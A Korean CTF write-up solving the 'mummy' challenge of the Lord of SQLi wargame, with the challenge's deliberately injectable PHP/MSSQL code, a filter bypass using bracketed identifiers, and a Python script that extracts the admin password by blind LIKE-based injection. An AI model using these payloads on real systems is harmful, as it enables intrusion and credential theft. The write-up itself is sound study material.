문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("mummy");
  if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
  for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
  $query = "select".$_GET['query'];
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result[0]) echo "<h2>Hello anonymous</h2>";

  $query = "select pw from prob_mummy where id='admin'";
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("mummy");
  highlight_file(__FILE__);
?>

공격 백터

  • query
  • pw

공격 백터에 대한 검증

  • query : master, sys, infomation, ;, (, / 필터링, 아스키코드 32 초과 사용 가능

코드 분석

$db = mssql_connect("mummy");

MsSQL 문제이다.

 

for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");

이번 문제는 쿼리문 안에 공백을 사용하지 않고, SQLi 공격을 성공하라는 문제인 것으로 보인다.

 

$query = "select".$_GET['query'];
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result[0]) echo "<h2>Hello anonymous</h2>";

필터링 및 공백 검사에 통과한 공격 백터 query는 select와 합쳐지게 된다.
만약 쿼리문의 반환 값이 있으면 Hello anonymous가 출력된다.

 

이를 이용하여 True, False를 구별할 수 있다.

 

$query = "select pw from prob_mummy where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("mummy");

두번째 쿼리문은 id가 admin인 pw를 반환하여, 공격 백터 pw와 비교하게 된다.
같으면 문제가 클리어된다.


문제 풀이

일단 쿼리문에서 컬럼은 [] 사이에 넣어서 사용하면 공백이 없어도 구별이 된다는 것을 알고 있었다.
하지만 테이블 명도 컬럼처럼 구별이 되는지는 잘 몰라서 SQL Fiddle에서 테스트를 해봤다.

 

mummy 테이블 생성 및 데이터 입력

테스트를 해보니, 테이블 명도 컬럼처럼 [] 사이에 넣으면 공백이 없어도 구별이 가능했다.

 

이제 admin의 pw을 파싱을 해야하는데, 문제는 (이 필터링 되어서 함수를 사용이 불가능했다.
만약 MySQL에서 이런 조건이라면 LIKE ‘~~%’로 pw을 파싱했을 것이다.

 

혹시나 해서 사용해봤더니, MsSQL도 LIKE가 사용이 가능했다.
나는 이를 이용하여 파이썬으로 pw 파싱을 시도하였다.

 

from SQLI import SQLI
import string

url = 'https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?'
cookie = '6f86kfnaerbikgtmorefsu7omn'

sqli = SQLI(url, cookie)

count = 0
pw = ''
while True:
    check = True
    for s in string.ascii_lowercase + string.digits:
        query = f"query=[id]FROM[prob_mummy]WHERE[id]='admin'AND[pw]LIKE'{pw + s}%'"
        result = sqli.pw_parsing(query)

        if 'Hello anonymous' in result:
            pw += s
            print('pw >>>', pw)
            check = False
            break

    if check:
        count += 1

    if check == 1:
        break

아주 간단하게 pw을 파싱할 수 있었다.

 

파싱한 pw를 공격 백터 pw에 넣어서 서버로 보내니, 문제가 클리어됐다.


SQLI.py

import requests, time

class SQLI:
    def __init__(self, url:str, cookie:str):
        self.url = url
        self.cookies = {'PHPSESSID' : cookie}

    def pw_parsing(self, query:str):
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text

    def timeBased(self, query:str):
        start = time.time()
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text, time.time()-start
복사했습니다!